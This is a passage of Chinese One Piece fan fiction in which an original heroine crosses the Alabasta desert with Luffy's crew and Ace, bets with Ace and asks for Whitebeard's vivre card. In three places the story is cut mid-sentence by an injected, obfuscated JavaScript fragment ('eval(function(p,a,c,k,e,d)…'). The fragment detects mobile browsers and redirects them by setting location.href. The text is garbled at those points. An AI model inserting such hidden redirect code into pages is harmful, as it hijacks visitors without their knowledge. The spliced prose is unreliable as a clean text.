行李被路飞一人拖着,也最终被大骗鸟骗走。在追逐行李的路上,路飞还顺带带回了一只沙漠大蜥蜴和一只骆驼。 微微说:“糟糕了,大骗鸟最喜欢骗人们的行李,我应该早说的。” “沙漠大蜥蜴是最凶猛的沙漠生物,许多人都拿它们没办法!” 娜美一行人:“……” 有有看着自己和艾斯背上的包,感慨道:“我俩真聪明。” “是啊。”艾斯没忍住笑了,“我俩真聪明。” 顺带把从背后冒出来的另一只沙漠大蜥蜴烤成了烧烤。 哇哦。 有有拍手:“太帅了!” “……沙漠大蜥蜴一般都是成双出现的。”微微弱弱补充。 应该早说的东西实在太多,微微也觉得自己说的时机实在搞笑,扶着脑袋笑了起来。 “你倒是早点说啊!”娜美皱着一张脸,想说什么却也没忍住笑开,“怎么感觉没一个靠谱的。” 明明丢了行李、丢了补给,但伙伴们还在身边,似乎就完全没有问题。 没看见山治已经开始肢解大蜥蜴准备开饭了嘛。 有有蹭到微微面前,一脸严肃。 微微被女孩的神情所感染,也正色起来。 “你到现在还没看清楚,沙漠最大的危险到底是什么吗?”有有故作深沉道。 “什么什么?”乔巴咽了咽口水,凑上前来,紧张兮兮地问道。 介于有有踏入沙漠上堪称运筹帷幄的表现,所有人都竖起了耳朵,认真倾听有有的新发现。 “那当然是……”有有一把拽过身后等着开饭的路飞,做了个闪亮登场的手势,“当然是我们的船长大人啦!!” …… 无法反驳。 虽然但是,无法反驳,真的无法反驳啊!!! 如果真的要写的话,那么《沙漠的危险(阿拉巴斯坦沙漠)》的最终章一定是路飞。 上半身已经被有有拉了过来,路飞的下半身还蹲在山治临时做的石质烤盘前等着蜥蜴肉烤熟。 听到这话,路飞不满地撅起了嘴,脸上都是不服气,他嘟嘟囔囔地说着:“哪有!我可是船长哦船长!” “好好好。”有有从背包里掏出一包果冻拍在了路飞手里,“你玩去吧。” “好诶!”船长大人满足地走了,带着果冻。 “果冻!”乔巴的眼睛亮晶晶的,摇摆着身体看着有有。 有有抱着自己的背包笑得格外得意:“排队排队,我还有哦~~” “那我排队的话能拿到有有小姐的爱吗~~”山治眼冒爱心,旋转跳跃排着队。 “那我等会给你发张号码牌。”有有笑嘻嘻地满口答应。 “笨蛋!” “索隆啥也没有!” “……我刚刚说什么来着。”娜美无语,目光看向微微。 “你说,这里没一个靠谱的。”微微笑着叹气,“嘛,总能靠谱的啦。” 确实,虽然日常不着调,可娜美从来没有怀疑过眼前的这群人。 不靠谱的船长做了件靠谱的事情。 被路飞带回来的骆驼是那只在卡特里亚驮着有有和乔巴出来的那只,被娜美取名为睫毛。 先不提它这个充满槽点的名字和只允许女性坐的奇怪性格,它还是一只好骆驼。 但是骆驼背不了三个人。 娜美把有有推到骆驼身边,笑着说道:“有有你和微微先坐吧,我们换着坐。” 微微推脱:“我已经习惯沙漠了,还是娜美和有有坐吧。” “都不坐就不能我坐吗!?”路飞还在挣扎,它抱着睫毛的长脖子,企图说服睫毛,“你看她们都不想坐。” 睫毛甩了甩脖子,把路飞晃了下去,谄媚地走到了娜美身边,以示自己的衷心。 索隆额头直冒青筋,拎开路飞:“跟女孩子抢,你还是不是船长了!” “坐不坐骆驼和是不是船长有什么关系啊~~”路飞垮着一张脸,像小孩子般表达着自己的不满。 “当然有关系啦!”有有一本正经地看着路飞,“怎么会没有关系呢?” “真的吗?有什么关系啊?”路飞一脸单纯,就连乔巴也凑了过来。 怎么说呢,有时候一旦发现路飞的智商和乔巴在同一水准上,就感觉良心隐隐作痛。虽然也不知道这句话是在骂谁。 有有摸了摸为数不多的零食,最终一人塞了一包,然后心安理得地忽悠了起来。 “路飞你最崇拜的船长是谁?” 路飞秒答:“香克斯!” “那你想想,在你的记忆里面,香克斯有没有坐过骆驼啊?”有有循循善诱道。 路飞陷入沉思,脑子里过了一遍自己和香克斯的相处,甚至还想了想自己在雷德·弗斯号上的探险,完全没有骆驼的影子。 “没有诶。”路飞乖乖回答道。 “那不就结了,你看他都不坐骆驼,难道你要输给他吗?”有有面不改色地激将道。 路飞背后燃起熊熊火焰,斗志瞬间爆发:“才不会!我绝对不会输给香克斯的!” “哇哦,路飞太棒啦!”有有鼓掌,满脸真诚地为路飞应援道。 不不不,虽然不知道那位香克斯到底有没有骑过骆驼,但是你们相处不也就那一段时间吗?骑过也不会让你知道吧!怎么能这么容易就被带偏了啊!! 娜美张嘴,却不知道说些什么,最后只好移开视线眼不见为净。 “不是。”索隆的手肘碰了碰身边的艾斯,“你就看她这么忽悠你弟弟吗?” “嘛,这不是挺热闹的嘛。”艾斯看热闹不嫌事大地笑了笑。 “骗人的有有小姐也好可爱啊~~” 乌索普推走山治:“知道了知道了,知道你眼中有有小姐怎么都可爱了。” 骆驼上最终坐着的是微微和娜美,有有把背包塞到了梅利号真正的权力巅峰——娜美小姐手中。 “帮我拿着包就行,之后我们再换。”有有背对着路飞,认真叮嘱着娜美,“千万千万,不要被路飞碰到了!” 娜美神情严肃,郑重地接过了背包:“放心吧,路飞他碰不到一根线的!” “你们好过分啊!!!” 没人理会路飞的抗议,睫毛在两名女孩坐稳的瞬间就飞奔了出去,只留下蹄子扬起的尘土。 “好!绝对不能输给她们!” 一场莫名奇妙的比赛就这样莫名其妙地开始了,所有人骂骂咧咧地跟在莫名其妙的船长身后,等反应过来时,有有的视野里,只剩下了一顶橘色帽子的身影。 有有:“……” 艾斯:“……” “……你注意到路飞往哪走了吗?”艾斯挠了挠头,期盼的眼睛看向了有有,却收到了一个爱莫能助的眼神。 “那什么,我们和路飞走散了。”艾斯苍白地陈述着现状,略显无奈。 “不。”眼前的女孩意外地冷静,她摇头,“怎么想也是路飞和我们走散了吧。” 主语不同,话语的意思变了个模样。 有有痛心疾首地看着艾斯:“我们俩这么靠谱,怎么想都是路飞跑丢了啊,怎么能说是我们先丢了呢?” “你这样是会挨娜美骂的知道吗!船长就是用来背锅的啊!”女孩理直气壮,甚至试图和自己串口供。 艾斯的脸上写满了不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16174667|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置信,有有叹了口气,说错了,果然靠谱的终究只有自己。 艾斯轻而易举地读出了女孩心里所想,他哽了哽:“……” 他自己当然是很靠谱,但是他对有有的靠谱程度产生了怀疑。 感觉也是属于那种只有关键时刻才不掉链子的类型。 “那你知不知道,我之前也是船长啊。”想起那句暴言,艾斯没忍住笑了一声,他看着女孩,仔细观察着女孩的脸上有没有心虚的神色。 不曾想,有有眉头都不曾皱一下。女孩理智气壮:“我当然知道,那你的船员没让你背过锅吗?” 艾斯:“……” 一瞬间艾斯脑子里闪过无数画面,别说当船长了,当个队长都要不停给队员背锅。比如说谁谁谁去厨房偷吃,结果厨房的人找到了他的头上…… 合着你们都是这个想法是吧。艾斯只觉得手痒痒,恨不得立马回到船上去和队员们来场亲密交流。 “那你们可真坏啊。”艾斯无奈一笑,放缓了步子等着女孩跟上,“我就说我怎么突然就被厨房拉进了黑名单。” 黑色的靴子留下一个个脚印,在疏松的沙地上却那样清晰,有有走在艾斯身后,踩在前人的脚印里,亦步亦趋地跟着。迎面吹来的风沙被眼前人紧致精壮的身躯挡下,没有一丝吹到自己身上。 “那是因为艾斯很有安全感吧。”有有看着艾斯黑色的背影,轻声道。 “我们让路飞背锅也是,路飞虽然各种不靠谱,但是我们所有人都知道,如果是路飞的话,一定没问题的。” “我觉得艾斯你的伙伴也是这样的。” “是吗?”艾斯语气含笑,微微侧身回头看了一眼。 女孩本挂在衣领上的墨镜又戴到了脸上,见艾斯回头,女孩扯了个大大的笑容,三两步跑到了艾斯身侧,几乎有些手舞足蹈道:“那当然啦,而且说实话,刚刚看见我边上的人是艾斯的时候,我还松了一口气呢。” “我运气实在是太好了。” 运气好?艾斯的步伐几不可见地顿了一下,压低的帽檐遮掩住了艾斯看过去的视线,可却没遮住女孩写满庆幸的一张脸。 有有掰着手指头做假设,一字一句地做着假设,让人忍不住相信。 “如果是我自己的话,我肯定打不过沙漠里会遇见的大怪物,在找到路飞他们之前,我可能就要先变成怪物的食物了。” “如果是和路飞他们在一块……” 各种被波及的记忆出现在脑海,有有打了个寒战,“那我就倒霉了。” “你刚刚不还说路飞没问题吗?”艾斯收回心思,语气调笑地看着旁边前后矛盾的女孩。 “可是没有危险的时候,路飞就是最大的危险啊!”有有心有余悸地拍拍胸脯。 这是经历过什么啊?艾斯失笑,却也十分理解,“真是个不省心的弟弟啊!” 弟弟不省心,难道哥哥就省心了吗? 有有透过墨镜悄悄地看了一眼青年,满腹牢骚要说却不知如何开口。 小动作并不能瞒过五感都异常敏锐的海贼,艾斯偏头,疑惑的目光看向有有:“怎么了?” 不该敏锐的时候那么敏锐干什么! 有有“蹭”地一下收回视线,此地无银三百两地说道:“没什么没什么啦!” “真的没有吗?” 有有撇嘴,“真的没……” “不。”说着说着,女孩否定了自己,瞬间把架在鼻尖上的墨镜拉到额头,眼神逐渐发亮,大眼睛亮晶晶地看向艾斯,“我突然想起来了。” “你找路飞是不是有事情啊!”有有摇摆着脑袋,一脸期待地看着艾斯。 “嗯?”艾斯若有所思地看着女孩,“难道……” “嗯嗯嗯!”有有连忙点头,目光直直落在艾斯的包上。 在有有火热的视线里,艾斯从背包里拿出了一小张洁白的纸。 “就是这个!”有有的声音兴奋得几乎要破音。 “你知道这个是什么?”艾斯挑眉,这群人还没有进入新世界,按理来说,还不曾接触到生命纸才对。 “知道知道,我当然知道!”有有告诉自己要矜持,逼着自己将视线从生命纸上离开,乖巧地回答着艾斯的问题。 有有的眼神过于火热,不用多想,艾斯就猜到了女孩的想法。 艾斯食指和中指夹着纸片,薄薄一张纸片晃来晃去,上扬的眉眼间溢出少年人的意气:“想要吗?” 35.阿拉巴斯坦(十一) “我可以拥有吗!?”有有眼睛眨也不眨地看着艾斯手中的小纸片,小手蠢蠢欲动,但似乎还顾及着自己的形象,没有直接摊开双手。 那可是艾斯的生命纸啊!这可是真真正正的正主周边啊!好想要好想要! 小纸片被艾斯移到左边,女孩的眼珠就跟着移到了左边;小纸片被移到右边,女孩的视线就被钓到了右边。 艾斯差点以为自己手里面拿着的不是生命纸,而是小鱼干,专门用来勾引小猫咪的那种。 只不过一张生命纸而已,可女孩的表现却让人误以为,这是什么巨大的宝藏。 艾斯几乎要压制不住自己的笑声,相当爽快地裁了一半下来。 有有虔诚地捧着手里的生命纸,还不忘拿手指将纸压住,以免被沙漠的妖风吹走。 “这真的只是一张纸而已,你从哪知道的这个东西啊,告诉你的人该不会骗你说这是什么藏宝图吧?”艾斯无奈地看着拿到生命纸就不知天地为何物的女孩,实打实地涌出了担心。 生怕到手的生命纸飞了,有有警惕地把生命纸揣进衣服的内袋,还不忘拍了拍。 “谁说这就是一张纸的,从现在开始它就是我的护身符了!” 没办法,没有生命纸来预测艾斯那边的剧情发展,有有觉得自己每天肯定都会过得提心吊胆的。指不定哪天就担心过度心率飙升了。 但如此质朴到心理活动完全没有传达到艾斯心里,青年脸上的笑意几乎要崩塌。 又来了,刚刚也是,先是说什么遇见自己运气好,现在又说自己的生命纸是护身符。 怎么可能呢,他不过是个只会带来不幸的、不被人需要的恶魔之子。 尽管心里如此想着,艾斯的脸上却没表现出来。 “不过……”有有忽然想到了什么,拖长了声音,朝着艾斯灿烂一笑,“说它是藏宝图也没错啊!” “它不是能带着我找到你嘛!” —— “你们到底有没有搞清楚现状啊!”山治扯着路飞的脖子晃来晃去,脸上满是绝望,“我们找不到有有小姐了!” 一心关注着这个动不动就搞事的船长,结果一转眼就看不见他亲爱的有有小姐了。 山治越看船长越碍眼,“啪嗒”一下将人扔了出去,独自垂泪。 路飞在空中旋转了720度,最后完美落地。 “没关系啦,有有肯定和艾斯在一起,艾斯很强的,不用担心有有。”路飞好哥俩似的拍了拍山治的肩膀,笑嘻嘻地安慰道。 艾斯…… 山治暗自神伤的动作一顿,然后更加伤心了。 是啊,路飞的哥哥和有有小姐在一块,好消息是有有小姐会很安全,但是坏消息…… 一想到有有小姐对艾斯格外不同的态度,山治只觉得前途渺茫。 “好吧,哥哥确实比路飞靠谱很多,但是我的有有小姐~~” 路飞丝毫不觉有什么问题,他扯着山治往娜美的方向赶。 “快去救娜美和微微啦!” 山治一个机灵,朝着被绑在沙贼船上的两名女孩子奔去。 “娜美小姐~微微小姐~我来救你们了~” 索隆:“……可真有够忙的。”一下子惦记三个。 —— “艾斯,你知道路飞他们在哪吗?”有有坐在板车上,车上全是艾斯刚刚从冒牌叛乱军那里打劫来的食物和水,还特意留了个地方让有有坐了上去。 拉车的也是半路打劫过来的大蜥蜴,虽然长得也有点像变色龙。但是海贼世界的动物杂交的可不要太多,有有都懒得吐槽了。 艾斯一路骑着蜥蜴向村子外飞奔,爽朗的声音从风中飘来:“该遇见的时候就会遇见的。” 如出一辙的兄弟啊…… 不过相遇自然是很快的事情,毕竟这条路也是路飞他们的必经之路。 “路飞!娜美!”有有摇摇晃晃地从板车上站起来,垫着脚向不远处的人影都打着招呼。 艾斯连忙让蜥蜴停下,反手扶住了板车。 开心的不只是有有,路飞一个大跳跃跳到了板车上开始疯狂咽口水。 “食物食物!艾斯做得好啊!” 山治也一下子蹦到了板车边,扶着有有下了车。脸上是感动坏了的泪水。 “有有小姐,你平安无事真的是太好了!” “平安平安,我可平安了!”有有嘻嘻哈哈,一看就是过得相当不错。 可恶!山治一面庆幸女孩没有遇见危险,一边又觉得为何不是自己陪在有有小姐身边。 “就是说啊,待在哥哥身边肯定比待在你们身边安全吧!”娜美翻身下了骆驼,没好气地拉开山治,仔细地看着女孩。 有有相当自觉地转了个圈,展示自己的毫发无伤。 “做得好有有!”娜美拍拍有有的肩膀,“落单了一定要待在靠谱的人身边啊!” 有有环顾了一圈,那岂不是最后都得单独行动了? 女孩晃了晃脑袋,扔开脑子里格外失礼的想法,简单地阐明了和艾斯遇见的冒牌叛乱军。 冒牌货固然可恶,但也在一定程度护卫了这个村子。无论什么事都不存在绝对的是非对错,能够给混乱中的国民带来一丝慰藉,冒牌的叛乱军也可以变成真的英雄。 但这仍需要试探。 微微有些纠结:“虽然时间紧迫,但是我还是想试试看,国王军并不能照拂到每一个地方,但如果有许多这样的人,我想那也是很好的事情。” 对于搞事情,路飞向来是第一个答应的,其他人则会一脸无奈地跟上路飞的脚步。 有有看着一行人热火朝天地制定计划,并没有参与,而是站在了艾斯的身边,和他一起静静地看着。 不同于眼前这群还有些天真的人,艾斯的视角更偏向于看透一切的大人。他清楚的明白,这群冒牌货不过是为了骗吃骗喝,在遇见真正的强敌时,第一个念头肯定是逃跑。 不过是一群胆小的坏蛋,他们真的会如期望中那样,放弃逃跑的机会而留下来保护人民吗? “艾斯你怎么觉得的?”有有看了半天,忽然朝着艾斯问道。 “什么怎么觉得。”艾斯收回视线,未曾带着笑的脸上颇有些恶人相,看着就凶巴巴的。 可有有丝毫没觉得,她侧头笑吟吟地看着艾斯:“你觉得那群人会有留下来的想法吗?” 艾斯沉默,一句“不会”卡在喉咙怎么叶说不出口。似乎只要说出来了,他和这群人的区别,就表露在明面上了。 “不知道。” “诶~”有有皱了皱鼻子,随即笑开,“那我们来打个赌吧!” “你赌不会,我赌会。”有有自顾自地说道,“输了的人要答应赢的人一件事怎么样!!” 艾斯怔住,迎上了一双格外狡黠的眼睛。青年失笑:“为什么我要赌不会?” 女孩挑眉,似乎没预料到这个疑问:“你心里难道不是这么想的吗?” 想说的话全部忘记,他就这样愣愣地看着女孩,心底掀起一股骇浪。 “不过正常来说都是这样吧,看着明显就是冒充身份骗人的几个小混混,大难临头不拉人下水就不错了,何况去拯救别人。” “那你还赌会?” 有有嘿嘿一笑,都说了是正常来说嘛,这可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16186433|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是少年漫啊!哪怕她不知道剧情也会赌这个答案。 “那到底赌不赌啊!”有有坏笑着催促道。 “赌啊,怎么不赌。”艾斯眉梢轻扬,笑意又爬上了那张有着雀斑的脸上,“如果我赢了,我让你和我回莫比·迪克号上也可以吗?” 哈?? 有有几乎要怀疑自己的耳朵,甚至原地踉跄了一下,她难以置信地揉了揉自己的眼睛,揉完才反应过来要揉的是耳朵。 艾斯却没打算改变自己的话,只是含笑地看着有有。 虽然有点对不起路飞,但是他真的很赞同路飞的话,这个女孩是真的很有趣,有趣到,他想把她带回去做自己的船员。 老爹肯定也会很喜欢她,她对乔巴那么好,肯定也会很喜欢马尔科,毕竟都是动物,甚至必要的时候马尔科还能当个水果,和以藏肯定也很有话聊…… 看着艾斯丝毫没有开玩笑的架势,有有把自己掉下来的下巴合了上去,鬼使神差地问道:“那,是直接回莫比·迪克号上吗?” 顺着自己的话,有有越想越觉得此路可通,甚至畅通无阻。 能直接回船上的话,也就意味着有几率和白胡子海贼团的人把艾斯按在船上,这样不就能避开黑胡子了吗!!! 虽然剧情可能一包糟,但是这又不是她剧透的!是艾斯自己说的啊!管他剧情会怎么修正呢,黑胡子总不能跑回到白胡子的地盘抢人吧,那还不得被细细切成臊子。 而且路飞他黑胡子大概率也是抓不住的,退一万步来说,就算路飞真的被抓住,卡普会干看着?龙会干看着? 可别小瞧蒙奇家的羁绊啊:-D 有有一把抓住艾斯的衣服,什么偶像和正主之间要保持距离的原则全都忘了,她晃着艾斯的衣角,眼睛里透露着迫切:“换一下,我们换一下,你赌会好不好!好不好!” “求你了求你了!”有有只觉得一个天赐良机被自己错过,肠子都要悔青了。 这边的动静终究还是被发现了,路飞抱着脑袋凑了过来,好奇道:“你们在说什么呢?” “在说去艾斯的海贼团的事情!”比脑子先反应过来的是嘴,有有说完就明白了大事不好,赶紧捂住了嘴。 可已经迟了。 乔巴都快哭出来了:“有有、有有你要走吗?不要我们了吗?” “不、不是的……” “有有小姐,不要走~~~” “不走不走……” “你还是别去祸害别的海贼团了吧。” “索隆你闭嘴。” 有有脑门全是汗,百般艰难地把人安抚好,拐弯抹角地让他们赶紧去搞事,好一阵才消停下来,结果转眼就对上了艾斯看好戏的眼神。 有有:“……”毁灭吧大海。 这个赌自然而然付诸流水,可搞事并没有停下脚步。 有有躲在岩石后面看着一切就如预料中那样发展,最终还是把视线投向了身边的艾斯。 “我们那边有句话叫做‘君子论迹不论心’,不要看他想的是什么,而要去看他怎么做。”有有小心翼翼地组织着语言,“出身并不能判定一个人,我倒觉得,他们虽然看上去是小混混,但他们做的事情却确确实实给身边的人带来了幸福,所以……” 有有甚至都不知道自己在说着什么了,明明八百字的议论文手到擒来,结果现在八杆子打不出一个字来,一点逻辑都没有。 正在有有绝望地想要抓头发时,一只温暖的大手拂在了头顶。 “赌局,你赢了。”艾斯拍了拍女孩的那块脑袋瓜,像是什么都没听见一般云淡风轻道,“可以想一下先让我做什么了。” 36.阿拉巴斯坦(十二) 让艾斯做什么? 让艾斯不去找黑胡子?虽然很想直接这么做,但是怎么和艾斯解释原因呢?连白胡子都没成功的事情,他能仗着这个口头承诺去阻止艾斯吗? 要不然,就像艾斯刚刚说的那样,和他回一趟船上?但是路飞他们肯定要闹了吧! 有有就像一个手握重金却不知道使用的孩子,坐在蜥蜴拉着的板车上冥思苦想。 是的,这只蜥蜴并没有被放走,被艾斯教训了一顿之后乖觉地不得了,思及有有聊胜于无的体力,蜥蜴成功入伙,变成了有有的座驾(沙漠限定版),顺便还把热得不行的乔巴放在了板车上。 “有有给我水~”和乌索普抢水失败的路飞盯上了正在发呆的有有,他跑到有有身边低声道。 “啊,给你。”莫名其妙的声音传到耳朵,有有下意识把水杯递了过去。 “还要吃的。” “给。” 路飞放慢了步子,开开心心地跟在有有身边享受着半自动投喂机。 要什么有什么,还不会被骂。有有果然超有趣啊!! 娜美在一旁硬了拳头,恨不得翻身下来把人揍一顿。 “你这家伙不要仗着有有在想事情就去骗吃骗喝啊!” 山治长腿扫了过来,脸色凶恶:“你这混蛋!你吃完了有有小姐吃什么!!!” 路飞抱着水和食物灵活闪开,于是沙漠里又展开了一场激战。 索隆:“……这群人就不能省点力气吗?”无法理解,再一次无法理解自己怎么就上了这样一艘船。 他看了眼在沙漠也不消停的一群人,目光落在了依旧冥思苦想的女孩身上。 还在发呆,怎么还在发呆? 从刚刚开始就不知道在想着什么,如果不是有个板车,估计现在早就走丢了。 不过,索隆不动声色地看了一眼艾斯,他到底和那个笨蛋说了什么,让她思考了那么久。 丝毫没察觉到自己的物资已经落入了路飞的手里,有有满脑子都是艾斯的承诺。 不知过了多久,板车停了下来。 娜美晃了晃还在发呆的有有,满脸无奈道:“我们休息一会儿吧。” “诶,哦。”有有挠了挠头,抬眼一望,才发觉已经到了一个格外眼熟的地方。 该说不愧是上知天文下知地理的高三时期,相比于其他,有有脑子里第一个反应居然是自己竟然亲眼看见了风蚀柱。 大大小小的风蚀柱围出了一小片区域,山治已经在正中间搭起做饭工具了,路飞以一种绝对会被家长骂的频率敲着碗等饭,果不其然立马被山治教训了。 不过,既然到了这个地方,有有看向了已经在一块风蚀柱上坐下的青年。 那是不是就意味着马上就要分开了? 啊啊啊啊啊!可恶! 有有抱着脑袋原地蹲下,疯狂甩着自己的脑袋。 死脑子你快想啊!!到底该提什么要求啊!到底要怎么样才能改变那一切啊! “有有小姐~没事吧~”山治窜了过来,蹲在又又身边询问道,“是不是饿了,有什么相吃的都可以和我说哦~” “啊。”有有偏过头,像是想起了什么,揽过自己的背包,“我包里好像还有一点水,做饭的话可以……” “??”有有不可置信地从背包里抬起头,“我水呢?不对不对,我杯子呢?” “你还真是没有自觉啊!”索隆感叹道,“我还以为你知道你干了什么呢。” “你干的!?”有有不可置信地看向索隆,“原来你是这样的人!好过分!太过分了!” 不可置信的人换成了索隆,他反手按住有有的脑袋,硬生生让她看向路飞:“你给我看清楚,路飞脖子上挂的是什么?” 特地买的可折叠的水袋晃晃悠悠地挂在路飞的脖子上,里面的水早就不见踪影了。玩心重的男孩还时不时把水袋吹鼓,然后再按瘪。 “啊,那没事了。”有有恍然大悟,没好气地朝索隆做了个鬼脸,“谁叫你长得就不像好人。” 硬了,拳头硬了。 “你就不能双标的隐蔽点吗!!”索隆抓狂似地胡乱揉着有有的头发,然后反手就挡住了山治的飞踢。 “你这混蛋在对有有小姐做什么失礼的事情啊!” 对他们的混战见怪不怪的有有趁着间隙溜之大吉,一路溜到了艾斯坐着的风蚀柱下。 有有抬眼打量着眼前的风蚀柱,估摸着哪里能落脚。她自然不可能像其他人那样三两步就能跳上去,可小时候爬树的技能在岁月的磋磨下早就忘得差不多了。 有点头大。 “怎么了?”声音慢慢地从上面飘下来,有有抬头,看着青年盘腿坐着,单手撑在大腿上望着自己。 逆着光的方向,有有看不清青年脸上的神色,但隐约能感觉,他大概是笑着的。 “我想上去。”有有指了指艾斯旁边的地方,“坐那。” “要我帮你吗?”艾斯朝女孩伸出了一只手,挑眉笑道。 有有抿了抿嘴,试着和人打商量:“这样,我先试试,实在不行你再拉我行不行?” “可以啊。”艾斯很好说话,收回了手。 有有脚刚踩上缝隙,就退了下来,谨慎地看着艾斯:“我要是摔下来,你能接住我吗?” 这下能确定艾斯是真的笑了,他笑着点头:“放心,绝对能接住。” 得到保证,有有不带迟疑地相信了,哼哧哼哧就开始往上爬。 风蚀柱不算太高,要爬上去其实不算太难,但是对于运动量几乎为零的女孩而言,还是有些难的。 不知道什么时候,下面聚集起了一堆人。 乔巴挥着小蹄子呐喊助威;路飞跟在后面看热闹;山治晃来晃去,做好了随时接住女孩的准备;索隆抱着臂好整以暇;乌索普双手背在身后,看着女孩的背影时不时点头,一副巡查的模样;娜美和微微一脸无奈的模样。 简简单单一场攀爬搞出了世界大赛的样子。 有有想回头骂人,但是却不敢低头,只顾着一门心思往上爬。 当女孩的手搭上平台的瞬间,底下突然爆发出一阵热烈的欢呼。吓得有有手一抖,一句脏话已经在嘴边跃跃欲试了。 温热的手掌就这样抚了上来。 艾斯不知何时已经起身,蹲在了平台边缘的位置,在看见女孩手抖的瞬间,立刻出手将人拉了上来。 脏话变成了对艾斯的赞美,有有双手撑地喘着气,还不忘双眼亮晶晶地看着艾斯:“呼……呼……谢……” 艾斯觉得自己笑得频率实在太高了一些,他轻轻拍拍女孩的背:“知道了知道了。” “做得好啊有有!”下面传来路飞那具有穿破力的声音,回忆起几人的所作所为,有有一个翻滚摸到边缘,随手抓起手边的石头扔了下去。 “看热闹的都给我走开!!!” “糟啦!有有发火啦!乔巴乌索普我们快跑!” “啊~生气的有有小姐也好可爱~” “你这白痴除了这句话还会说别的吗?” 看热闹的人终于走光,有有松了一口气,身心俱疲地坐了下来。 “你们感情很好啊。”艾斯含笑地看着身边的女孩,感慨道。 好想吐槽!有有被噎住,为什么艾斯还会有那种动漫里看着别人吵架之后发出关系好的感慨的人设啊! 虽然他们关系确实还不错。 女孩实在不会掩饰自己的情绪,想说的都写在了脸上。艾斯失笑,却没再继续下去,转头说起了另外的事情:“想了那么久,想好了?” 显然有有这一路的纠结都被他看在了眼里,艾斯也不觉得她只是想上来坐一坐,看看风景。 想法被摊开了出来,有有完全没办法否认自己的目的,但她似乎也不太清楚自己的内心。 “你一定要去找黑胡子吗?”明明知道他是抱着怎样的信念离开了海贼船,但有有还是问了出来,在这一瞬间,她甚至都有些唾弃自己了,想让他活着,却又不想违背他的意愿,什么时候开始,她变得既要又要了呢。 “什么啊,原来你一路上都在纠结这个事情吗?怎么,你也想让我不要去吗?”艾斯撑着脑袋看着下面打打闹闹的一群人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16205155|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角勾出了浅浅的笑意,可在有有看来,莫名地带着一股勉强。 “说起来,老爹也不让我去。”艾斯侧头,眼睛直直地看着女孩,“为什么?” 为什么?当然是因为很危险,有有躲不开艾斯的眼睛,可却在那双眼睛下看见了别的东西。 他到底是在问“为什么”,还是在问“我做错了吗”。 即使带着手套,刚刚攀登时也还是不小心划到了手,有有不安地扣弄着掌心,觉得自己现在就像是个溺爱孩子的家长,不忍心他受到一点伤害,也不愿意说出任何指责的话。 其实从这个回答就能看出艾斯的答案了。 他一定要去。 并且一定会倔强地证明,自己绝对没有错。即使她并没有这么说。 “你……”有有开口却发现自己几乎说不出一句完整的话,眼泪都几乎要在眼眶里打转了。 察觉到女孩的异样,艾斯瞬间什么想法都没有,他无措地看着女孩,手都几乎不知道往哪摆了。 啊,还好不是和他弟一样,看着她哭却当做什么事都没发生的类型。 有有抬起手臂,狠狠地抹了一把自己的眼睛:“要去就去吧,我想好我的要求了。” 看着女孩微红的眼眶,艾斯张了张嘴,莫名地有一种答应她所有要求的冲动。 他张口,声音微哑:“是什么?” “生命卡。”有有深吸了一口气,“我要白胡子先生的生命卡。” 意料之外的要求让艾斯瞳孔微振,可女孩的脸上完全没有玩笑之色。 “你要这个干什么?”艾斯不解。 你管我!反正你都没打算听我的话!有有此刻的状态简直是路飞来了都要被骂两句,她站起身居高临下地瞪着艾斯:“我要去告状!!我要去和你老爹说,你在外面欺负女孩子!!” 不是,看这个状态,到底谁欺负谁啊? 艾斯很有眼色的没有说出口,顺手把女孩脚边的石头拍走,好脾气道:“不是要生命卡吗,你坐下好好说,我撕一半给你怎么样?” 青年服软的样子太过具有诱惑性,有有一秒就被哄好了,她强撑着一副不好惹的样子,梗着脖子坐下道:“你说的,一定要给我哈!” 艾斯无奈:“我看着是会反悔的人吗?不过肯定不能完全给你,我回去的时候还要靠生命卡,而且我也需要写信和老爹说一声。或者你真的想去莫比迪克号的话,等我抓到黑胡子之后到路飞这来接你?” 不会反悔?回去要用?抓到黑胡子? flag一个接一个,有有听着一口气差点没喘上来,几乎又要“腾”地站起来骂骂咧咧。但有有对上了一双含着笑意的眼睛。 他就这样笑着望向自己,一时间,什么火都消了。 “那你和路飞他们打一架,赢了再说。”有有嘟囔道,但也真的害怕他去和路飞打架,暗戳戳地瞥着他,但他依旧是那副笑着的样子。 “你开心吗?” “什么?”艾斯偏头,似乎没理解女孩这话的含义。 “我说,今天遇见我们,你开心吗?”有有耐心地重复了一遍,“遇见路飞、遇见我们这些本不相识的人。” “因为我很开心,所以我很在乎,艾斯你会不会和我一样开心。” 